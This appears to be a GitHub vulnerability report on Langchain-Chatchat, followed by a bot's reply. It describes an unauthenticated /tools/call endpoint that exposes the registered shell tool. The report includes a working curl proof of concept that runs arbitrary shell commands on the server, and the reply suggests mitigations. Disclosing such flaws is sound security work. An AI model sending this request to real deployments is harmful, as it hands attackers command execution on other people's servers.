Remote Code Execution (RCE) through “/tools/call” endpoint

[YLChen-007]

Type of issue

Remote Code Execution (RCE), Unsecured API Endpoint

Full paths of source file(s) related to the manifestation of the issue

libs/chatchat-server/chatchat/server/api_server/tool_routes.py

The location of the affected source code

• Function: call_tool
• Related Endpoint: /tools/call

Any special configuration required to reproduce the issue

The application must be running with default configuration. No special options are required.

Step-by-step instructions to reproduce the issue

1. Start the server.
2. The endpoint /tools/call allows invoking any tool registered in the system by name.
3. The system registers a shell tool (in libs/chatchat-server/chatchat/server/agent/tools_factory/shell.py) which wraps langchain_community.tools.ShellTool.
4. Although this tool might be disabled in the main agent configuration, it remains available in the global tool registry.
5. An attacker can send a POST request to /tools/call with {"name": "shell", "tool_input": {"query": "COMMAND"}}.
6. The server executes the command using the shell tool and attempts to return the result.
7. Note: The server might return a 500 error due to serialization issues with the tool output, but the command is executed successfully before the response generation.

Proof-of-concept or exploit code

✅ VERIFIED - Successfully Exploited

Step 1: Execute malicious command via /tools/call

curl -X POST "http://127.0.0.1:7861/tools/call" \
  -H "Content-Type: application/json" \
  -d '{
    "name": "shell",
    "tool_input": {
      "query": "touch /tmp/TOOLS_CALL_RCE && echo TOOLS_RCE_SUCCESS > /tmp/TOOLS_CALL_RCE && id >> /tmp/TOOLS_CALL_RCE"
    }
  }'

Note: The server returns Internal Server Error (500) due to serialization issues, but the command executes successfully!

Step 2: Verify RCE

cat /tmp/TOOLS_CALL_RCE

Verified Output:

[dosubot]

Hi @YLChen-007! I'm Dosu and I’m helping the Langchain-Chatchat team.

This is a confirmed critical RCE vulnerability: the /tools/call endpoint allows remote invocation of any registered tool by name, including the dangerous shell tool, with no access control or restriction logic in place. This means anyone with access to the API can execute arbitrary shell commands on the server, potentially with root privileges, even if the shell tool is disabled in the main agent configuration but still present in the global registry. The vulnerability is present by default and does not require special configuration to exploit. The API route does not enforce blocking of dangerous tools; the only mitigation is to explicitly disable such tools in the tool_settings.yaml or tool_settings.json configuration files, but there is no explicit flag or documentation for disabling the shell tool specifically, and the API does not check these settings at runtime for security enforcement reference reference.

To mitigate: immediately remove or disable the shell tool from all production deployments, restrict access to the /tools/call endpoint (e.g., via authentication/authorization), and audit the tool registration/configuration mechanism to ensure dangerous tools cannot be exposed via public APIs. There are currently no existing mitigations, warnings, or related issues documented in the project.

To reply, just mention @dosu.

---

^{How did I do? Good | Irrelevant | Incorrect | Verbose | Hallucination | Report 🐛 | Other}